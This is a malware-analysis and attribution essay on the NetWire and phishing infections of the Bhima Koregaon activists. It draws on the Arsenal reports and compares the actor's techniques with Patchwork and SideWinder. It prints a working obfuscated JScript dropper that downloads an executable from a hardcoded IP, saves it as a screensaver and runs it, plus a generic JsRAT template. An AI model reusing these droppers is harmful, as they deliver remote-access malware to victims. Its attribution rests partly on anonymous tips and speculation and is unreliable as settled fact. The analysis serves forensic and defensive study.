Overview

This document details the findings in the Arsenal Reports (one, two, three) on the netwire malware + phishing attacks that happened on the Bhima activists which was preceded by pegasus infection of their mobile devices. It also lays out the connections between other known groups. It must be read not as an original analysis, as it is based on reports from others.

Background of Arsenal Report

The Bhima activists were arrested under various charges from June 6, 2018. More were arrested 6 months later. Citizens lab first published a report (Source) on September 18, 2018 detailing an operation that infected people in India. This was further followed up by a report in Indian Express (Source) and Wire (Source), which said that some of the arrestees and their lawyers were infected by Pegasus, a software sold by the NSO group (Reporting Date: 31st October, 2019)

Citizen lab reported about an actor code named Ganges, who uses political themes and uses the following ASNs (Autonomous System Numbers) to spread the infection (Reference - Table 32: Suspected infections for operator GANGES, Filtered with only Indian ASNs).

ASN	Description	Country
9498	BHARTI Airtel Ltd.	India
24560	Bharti Airtel Ltd., Telemedia Services	India
18209	Atria Convergence Technologies pvt ltd	India
17813	Mahanagar Telephone Nigam Limited	India
9829	National Internet Backbone	India
17488	Hathway IP Over Cable Internet	India
38571	Star Broadband Services	India
45609	Bharti Airtel Ltd. AS for GPRS Service	India

A subsequent article on Asia times (Source, Dated: 5th November, 2019), co-written by this Author and the Journalist Saikat Datta (who was then a National Security Editor in Asia Times), made discreet enquiries and identified at least one buyer "*Inquiries made by Asia Times reveal*

that at least ***one federal intelligence agency that concentrates on generating intelligence from every state*** *was one of the buyers of the Pegasus spying software*". This fits the NSO claim that it sells to only vetted buyers of sovereign governments and not to any private parties.

Note:
An interesting candidate in the ASN list above is AS9498. Airtel only allows their enterprise or government/PSU customers and other ISPs to connect to that ASN. It has less than 1000 customers and hence narrows down the "owner of the pegasus infrastructure" to a handful of private entities or a government agency (Tip by an anonymous source, who had worked with Airtel before and also confirmed again by another insider who currently works there). Check BGP Prefix List for further evidence.

All other ASNs in the list provide connectivity to retail customers who can hide behind carrier NAT etc. In 9498 this was not the case. Although the allotment of IP addresses beyond /30 require proper justification with a network diagram, these customers get a public IP Address. It is also important to note that the victim needs to connect back to the attack infra, hence a publicly reachable IP Address is needed and 9498 is the best possible candidate for a reliable infra, as it connects with other ISPs.

The use of a ASN which is typically only reserved for leased lines and where a type of gov-cloud services are used, it is likely that the Pegasus servers are hosted in this ASN.

Further Airtel telemedia services (ASN 24560) also provides connectivity to small and medium businesses and households, and allocates them public IP addresses which are not behind carrier NAT.

This opens up the possibility that a third party like Citizen Labs who actually had IP Traces, can actually understand the government entity behind the infections. Since it needs the cooperation of Airtel, which is a regulated entity under Indian laws, it will not happen.

Arsenal Report 1 (Rona Wilson)

This report had the following salient points:

1. It builds on top of another report by the Caravan (Source), which notes how Mr. Rona's laptop is filled with malware, and the history of "run commands" are deleted. Further the Caravan report notes that the "Recent history" of files visited was also deleted.
2. The first entrypoint of the malware was via Mr. Varavara Rao's email.
3. A disguised Rar File (delivered from the Command and Control [C2] server) delivered a Netwire malware, along with VB Script files (IDTAudio.vbs, IDTAudio_v2.0.vbs, MTSMBlaze.vbs, MTSMBlaze_v2.0.vbs, MTSMBlaze_v2.1.vbs, part01.vbs, part02.vbs, upload.vbs, GPGv2_1.vbs).
4. There were other files for managing the upload of files from Rona's computer (Two job1.txt files).

5. All C2 IP Addresses map to Host Sailor based out of UAE with data centers in Netherlands and Romania, a known provider for hosting malware and spam. (Source 1, Source 2)
6. Arsenal has skipped out mentioning some IP Addresses as they don't think it is related to the C2 infrastructure.
7. Most of the hostnames are under the .zapto domain, and maps to no-ip, a known DDNS Provider.
8. Two host names are exceptions (.read-books.org) and also maps to no-ip.
9. Even though Rona's computer had WinRAR v3.7.0, the actor installed WinRAR v4.2.0 temporarily for just using unrar (file planting was done by putting PDFs in rar format and then uncompressing them).
10. Unrar.exe was renamed to adobe.exe which then uncompressed them.
11. All the files planted were never opened by Mr. Wilson.
12. The PDFs were generated by a different version of word (2010) which was not installed in Mr. Wilson's computer.

Arsenal Report 2 (Rona Wilson)

This report builds on top of Report 1 and had the following salient points (*Italics are my comments*)

1. The netwire malware is started as a corel draw application (c:\coreldraw\hpffront.exe). *Here hpffront.exe is High Pass Filter. It is either a commonly used term for Audio filters that attenuate frequencies (OR) a high pass image filter used in image editors. Not clear why the attacker chose this name because no indication if this application is present in the computer.*
2. The MTSMBlaze_v2.1.vbs script placed in the startup folder via Run key simply calls the shell application to run the Netwire malware (hpffront.exe). *The name of the script is interesting because MTS MBlaze is a dongle that offers internet services when connected to a laptop via USB. It is only available in India and only in select circles and was provided by sistema shyam telecom services limited and went offline by October 2017 (Source) because of a merger with Reliance Communications, which itself went bankrupt by 2019 (Source). And yet, the name still persists in Mr. Wilson's laptop as of January 11, 2018. MTS was **not even active as an operator** in Maharashtra where Mr. Wilson was residing during the time of his arrest, and only had licenses to operate in Delhi, Kolkata, Gujarat, Karnataka, Tamil Nadu, Kerala, Uttar Pradesh (West) and West Bengal (Source). So this is not an attempt to evade detection by the user. It must simply be interpreted as "Operator/Actor Signature", who is aware of the MTS Brand. That coupled with the specific involvement of the Federal agency for pegasus infection and the very precise target selection not seen elsewhere implies that the Actor is India based.*
3. There is more confirmation about using unrar.exe to unpack other documents by renaming it to Adobe.exe *(for evasion)*.

4. There are also indications that the attacker made mistakes (missing quotes) in executing some commands, but still could correct and execute the correct unrar command, which shows live action.
5. The Planted files show two time clusters (4:10 PM IST, 22:15 PM IST)
6. The attacker sessions are clustered around late nights (9 sessions) vs mid morning (2 sessions).

Arsenal Report 3 (Surendra Gadling)

This report builds on top of Report 2 and had the following salient points (*Italics are my comments*):

1. Persistence is achieved via the Run key, but keys and values are different from that of Mr. Wilson (Mapper, Clearsoft).
2. There is a weird file name for Netwire (Vismay_Amitbhai_Shah_vs_State.exe) *that corresponds to a liquor case in Gujarat (Source). It is unclear what is the connection of this case to Mr. Gadling, apart from him being a lawyer. Was he a counsel in that case? This needs to be checked. But it further confirms the Indian-ness of the threat actor, as this indicates non-obvious knowledge about case laws*.
3. Netwire is found in the roaming folder as “photon.exe” which indicates that the intent is to spread across multiple computers that Mr. Gadling uses. *The name is also curious because of close correspondence to “Tata Photon”, an Internet Service (Source). Perhaps Mr. Gadling used it or not. Say, Mr. Gadling used it, it indicates an evasive measure to hide the malware, as Dongles typically need a device driver (Source). And if he was not using it, it could be the attacker’s estimate of the evasiveness of this approach.*
4. Then there are other files (claim-nareandra-shankar.exe, CiscoEapPeap.exe) *which are quite new and have no correspondence with what is found before in Mr. Wilson’s computer. Mr. Gadling, being an independent lawyer, was barely scraping by, with a net cash of 5,000 in his house (Source), and is not known to have any small business or corporate affiliations. Hence any likelihood of him using a corporate WiFi which warrants use of EAP, PEAP and LEAP is quite low (Source). It is unclear if this file is a remnant of the tool chain or tools familiar to the attacker, that was incidental to the infection.*
5. C2 Servers are similar and the tell tale sign is use of Port 4000 with the same credentials.
6. Similar VBS files are found (IDTAudio.vbs, upload.vbs) but the planting infrastructure via job1.txt files are highly customized.
7. There are similar methods to unpack via WinRar v4.2.0, unrar, *but no mention of the renaming bit to adobe.exe*.
8. The VBS files are recoverable and hence much more readable than w/ Mr. Wilson.
9. The first delivery is via a JS file in a Zip file, which downloads wordbase.exe via this code fragment:

```
aUouNCTnW=this['ActiveXObject'];
aXErrOvPn = 'Run';

ayybbry7u = new aUouNCTnW('WScript.Shell');
aLW9zgUdG = ayybbry7u['ExpandEnvironmentStrings']('%TEMP%/') + 'PBAroTwl.scr';
a88aSeqxZ = new aUouNCTnW('MSXML2.XMLHTTP');
a88aSeqxZ['open']('GET','http://185.106.122.220:6740/wordbase.exe', 1);
a88aSeqxZ['send']();
while (a88aSeqxZ['readystate'] < 4) {WScript['Sleep'](100);}
        amHzDBMj5 = new aUouNCTnW('ADODB.Stream');
try {
        amHzDBMj5['open']();
        amHzDBMj5['type'] = 1;
        amHzDBMj5['write'](a88aSeqxZ['ResponseBody']);
        amHzDBMj5['position'] = 0;
        amHzDBMj5['saveToFile'](aLW9zgUdG, 2);
        amHzDBMj5['close']();

} catch (a30yvzGZI) {};
try {
        new ActiveXObject("WScript.shell")['Run'](('%TEMP%/') + 'PBAroTwl.scr', 0, 0);
} catch (a30yvzGZI) {};
```

10. *The code fragment jump out, because it looks like a commonly available copy+paste JsRAT with some customization to handle timeouts, retries and file names (See reference)*

```
1  var WSHShell = new ActiveXObject("WScript.Shell");
2  path = WSHShell.ExpandEnvironmentStrings("%temp%");
3  var filepath = path+"/explorer.exe";
4  var xhr = new ActiveXObject("MSXML2.XMLHTTP");
5  xhr.open("GET","http://x.x.x.x/bd.exe", false);
6  xhr.send();
7  if (xhr.Status == 200) {
8      var fso = new ActiveXObject("Scripting.FileSystemObject");
9      var stream = new ActiveXObject("ADODB.Stream");
10     stream.Open();
11     stream.Type = 1;
12     stream.Write(xhr.ResponseBody);
13     stream.Position = 0;
14     if (fso.FileExists(filepath)){
15         fso.DeleteFile(filepath);
16     }
17     stream.SaveToFile(filepath);
18     stream.Close();
19     new ActiveXObject("WScript.Shell").Exec(filepath);
20 }
```

11. Netwire is downloaded, saved as ".SCR" (Screen Saver) and then executed and then brings other artifacts.
12. *Except common infra (C2 Server, Credentials, VBS filenames and job.txt files), the implantation process itself is very different from that of Mr. Wilson as outlined below:*

Indicator	**Mr. Wilson**	**Mr. Gadling**
First Drop	Email + RAR disguised as	Email + Zip File +

	Dropbox File	Copy-Pasted JS w/ Minor adjustments
Next Stage	Direct Netwire	Execute JS + Download Netwire and Execute as .SCR file
Persistence	Run Key	Run Key w/ different Key/Value pairs
Roaming Folder	Unity.exe	Photon.exe
Extra Files	None	CiscoEapPeap.exe, claim-nareandra-shankar.exe, Vismay_Amitbhai_Shah_vs_State.exe
Implantation	Missing Quotes	None
	Rar.exe renamed as Adobe.exe and then run	None
	Two netwire samples found were obfuscated with nibble flipping and base64 encoding	None

13. *Across just two observed infections, there is enough deviation to suggest a patchy work approach, rather than a well organized tool chain approach, with a copy-paste from github repository thrown in. Further there is an extraordinarily long dwell (22 months +) and persistence to not just infiltrate but plant documents even after a full windows reinstall. This suggests that this attack must be treated as a campaign with a very specific outcome and not treating it as a generic espionage or surveillance action*.

Tracing the Actor (Standard Approach)

There are many potential issues that does not allow us to proceed further in tracing the actor as listed below:

1. Any tracing of the Bhima campaign with any other actor before, requires more observation points and not just 2 recorded infections.
2. Actor commonality across multiple campaigns is observed over different time periods to show changes in the toolset. However certain code artifacts remain that help to attribute the work to a common source.
3. The Bhima incident itself is 4+ years old and any other actor who would have been active during that time, would have evolved sufficiently to make any comparisons meaningless.

4. Consider the observation in (13) above. It is a single campaign, where the second layer of infection (netwire) is common, but very different characteristics for the first layer (Scripts). It is a patchy approach of throwing in whatever works, but to even compare with another actor who may use a similar approach, would require definitional consistency (What does patchy mean, for instance). Does it mean an array of tools (OR) Does it mean a pastiche approach to developing a toolset that is then consistently applied across a broad spectrum of (usually, Geo-politically relevant) targets?
5. Let us say that it was indeed some other related group that was involved in the targeting of the 2 known incidents so far, how likely is it that they would use 2 different TTPs for two related targets? It is highly unlikely. This rules out any further comparisons and hence all we can do is to stick with Arsenal's approach of attributing both incidents to the same actor and not proceed further, and wait for more evidence.

Tracing the Actor (Non-Standard Approach)

Given the near certain country of origin of the actor and the association with the previous pegasus infection of the arrestees and the confirmation of the involvement of a Federal investigation agency, narrows down the search for other actors to a great extent.

There are a handful of federal agencies that have the rights to conduct surveillance, which includes (Source):

1. Intelligence Bureau
2. Narcotics Control Bureau
3. Enforcement Directorate
4. Central Board of Direct Taxes
5. Directorate of Revenue Intelligence
6. Central Bureau of Investigation
7. National Investigation Agency
8. Cabinet Secretariat (RAW)
9. Directorate of Signal Intelligence (For service areas of Jammu & Kashmir, North-East and Assam only)
10. Commissioner of Police, Delhi.

While all of them have varied levels of capacity, for surveillance, monitoring and decryption, none of them have offensive capabilities, and it has been the remit of NTRO, which has the same norms of conduct as that of IB and R&AW.

Offensive tools (particularly cyber tools for monitoring, penetration of other devices) deployed in the interest of national security are typically done either through the NTRO itself or through it's numerous affiliates, all of which falls squarely into the realm of state craft and is considered par-for-the-course (Simply because everyone else in the cyber world does it, as a matter of fact). However, by law, both NTRO and its affiliates are not allowed to carry out any offensive operations on domestic targets, and this makes the Bhima actor unique, in the sense that it was

the first widely reported known instance of a domestic target being part of an offensive operation.

The first obstacle in doing any comparison, with any known actors in this ecosystem such as Dropping elephant, Patchwork, Sidewinder is the definitional consistency. For instance, while the Bhima actor can be thought of as Patchy, does it fall under the definition of patchwork-of-quilt approach?

There are a few arguments against strict definitions of “Patchy” as listed below:

1. In offense, operational success is the defining metric compared to definitional consistency (which is usually post-facto). Actors focus on the end outcome more than anything else and use tools that suit the purpose, with the least effort.
2. Patchwork has been active for a long time (2012+), and is known to use a rehash of off-the-rack tools, malware, even as late as 2018, with a report around 2016.
3. If we extend the above definition of malware to not just what is available OSS, but also any malware, then use of netwire as stage 2 payload is not different from use of xRat as a stage 2 payload, because unlike other campaigns the list of targets in the Bhima campaign is less than 10.
4. So using a commercial malware that costs $100 in the dark market along with copy-paste JsRat or other custom scripts for implanting files, would mean a campaign tool cost $1,000, while offering excellent cover.

The first known actor with association of India, who uses a raft of tools with copy + paste from OSS repositories is an actor called Patchwork (Source).

This actor was first observed in 2015, but was quite successful in hitting close to 2,500 high value targets via a PPS/Docx file attachment, which then exploits CVE-2014-4114 (the code closely resembles a public poc) and drops 2 files (Sysvolinfo.exe, driver.inf), and then executes the driver.inf via InfDefaultInstall.exe, and execute sysvolinfo.exe via the Inf file (Stage 1).

Sysvolinfo.exe itself is a copy-paste code from Indetectables. Its purpose is to escalate privileges, exfiltrate data, and download and execute an online remote access tool based on PowerSploit (the PowerShell version of Meterpreter, a popular remote access tool from the MetaSploit framework). Through the now installed Meterpreter, the actor can issue commands to run on the infected machine manually, which then scans folders for files and uploads them.

The second stage tool is downloaded (called 7Zip.exe) only if the target is determined as valuable (mostly copy-pasted from GitHub) and becomes persistent via “Net Monitor”.

Cymmetria notes that even though the attack is based on patchwork of quilts using existing frameworks without technical sophistication, it achieves the purpose of high value target selection and persistence. It attributes this with medium confidence that the actor is based out of India, by analysing the targets and also the attacker’s operating times. (**Note**: *One huge*

difference between Cymmetria reported actor and the Arsenal actor is the wait by the malware to connect to the C2 infra. Major tactic mismatch)

An analysis of the IP addresses reveals that they use multiple providers (Lease Web, Root.LU, Deltahost, Online SAS, Asseflow) and across multiple locations (Denmark, Netherlands, Hong Kong). This makes sense as their targets are very distributed and selected based on political interests.

Cymmetria also notes that the low technical capability is not intentional (to avoid losing their high quality toolbox, by exposure) and points out that the use of second hand code is consistent with their second stage toolset meant for persistence, which should typically be built to resist detection.

Note: *Within the small sample of 2 infections, we can see how similar characteristics of using copy-paste code, low technical capability (JS, VBS) and using the Netwire malware achieves the same goals of persistence with the capability to issue manual commands (Mr. Rona, Report 1). Evading Detection was not a goal at all because of the nature of the targets.*

If we compare Patchwork to what we have seen as reported by Arsenal through Mitre (a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations), we get the following table (Source)

(Legend: Red = No Match, Green = Match, Orange = Unclear, Purple = Match after adding Netwire Mitre definitions)

Phase	**Technique**	**Patchwork**	**Arsenal**
Reconnaissance	N/A	N/A	N/A
Resource Development	Develop Capabilities	Code Sign = Yes	N/A
Initial Access	Drive by Compromise	Watering Holes = Yes	N/A
	Phishing	Spear Phishing Attachment = Yes	Spear Phishing Attachment = Yes
		Spear Phishing Link = Yes	Spear Phishing Link = Yes
Execution	Command and Scripting Interpreter	Powershell = Yes	N/A
		Visual Basic = Yes	Visual Basic = Yes
		Windows Command Shell = Yes	Windows Command Shell = Yes

	Exploitation for Client Execution	Yes	No
	Inter Process Communication	Dynamic Data Exchange = Yes	N/A
	Scheduled Task Job	Scheduled Task = Yes	IDTAudio.vbs runs for ever and achieves the same effect.
	User Execution	Malicious File = Yes	Malicious File = Yes
		Malicious Link = Yes	Malicious Link = Yes
Persistence	BITS Jobs	Yes	No
	Boot or Logon Auto Start Execution	Registry Run Keys, Auto Start Folder = Yes	Registry Run Keys, Auto Start Folder = Yes
	Hi Jack Execution Flow	DLL Side Loading	N/A
	Scheduled Task Job	Scheduled Task = Yes	IDTAudio.vbs runs for ever and achieves the same effect.
Privilege Escalation	Abuse Elevation Control Mechanism	Bypass User Access Control	N/A
	Boot or Logon Auto Start Execution	Registry Run Keys, Auto Start Folder = Yes	Registry Run Keys, Auto Start Folder = Yes
	HiJack Execution	DLL Side Loading	N/A
	Scheduled Task Job	Scheduled Task = Yes	IDTAudio.vbs runs for ever and achieves the same effect.
	Process Injection	Process Hollowing = Yes	N/A
Defense Evasion	BITS Jobs	Yes	No
	Hi Jack Execution Flow	DLL Side Loading	N/A
	Indicator Removal on Host	File Deletion = Yes	File Deletion = Yes
	Masquerading	Match Legitimate	Match Legitimate

		Name or Location = Yes	Name or Location = Yes
	Modify Registry	Yes	Arsenal refers to registry recovery
	Obfuscated Files or Information	Yes	Arsenal refers to simple obfuscation
	Indicator Removal from Tools	Yes	Unclear
	Subvert Trust	Code Signing = Yes	Some PGP keys are found along with malware that has names such as _Signed. Unclear if they were code signed, but most likely not
Credential Access	Credential from Password Stores	Credentials from Web Browsers = Yes	Stolen via Netwire keylogger
Discovery	File and Directory Discovery	Yes	Yes
	System Information Discovery	Yes	Drives are enumerated including USB
	System Owner user discovery	Yes	See job.txt files
Lateral Movement	Remote Desktop Protocol	Yes	No
Collection	Archived Data Collection	Yes	Netwire Logs
	Automated Collection	Yes	Yes
	Data From local system	Yes	Yes
	Data from removable Media	No	Yes
	Data Stagedq	Local Data Staging = Yes	Local Data Staging = Yes

Command and Control	Data Encoding	Standard Encoding = Yes	Standard Encoding = Yes
	Non Standard Port	No	Port = 4000
	Web Service	Dead Drop Resolver = Yes	No
Exfiltration	Scheduled Transfer	No	Yes

With the comparison in place, it is possible to conclude that in terms of technical sophistication, Patchwork/Dropping Elephant is better than the Bhima Implanter (on privilege escalation, defense evasion), but with some commonality on TTPs (Tactics, Techniques and Procedures).

(**Note**: High level TTP overlap here can mislead. Standard attribution works over years, and uses multiple orthogonal facets such as: targets, infrastructure, and artifacts in code. In this case, targets have commonality though separated by specificity, there are only circumstantial evidence on infrastructure reuse, and code artifacts are different)

Also there are no categories in MITRE on implanting files. So the table above does not cover it, even though it is a significant upgrade from just espionage.

There also exists another clue if Dropping Elephant/Patchwork is indeed related to SideWinder APT. As per Sebdraven (Source), both of them use the same sequence of TTPs and use a similar watermark (an artifact or a signature that is hidden in code or in a data file associated with a tool)

The other commonality across these actors is a preference to use subdomains in the no-ip domain, zapto as their C2. Bhima attack is almost entirely based on using zapto sub-domains, while both sidewinder and dropping elephant uses a different zapto subdomain as a C2, among many others. Perhaps there is some vestigial bureaucratic layer within these actors that has a preference for this domain. There are multiple threat actors who have used both No-IP and Host Sailor VPS and continue to do so. So this commonality must be taken as circumstantial evidence.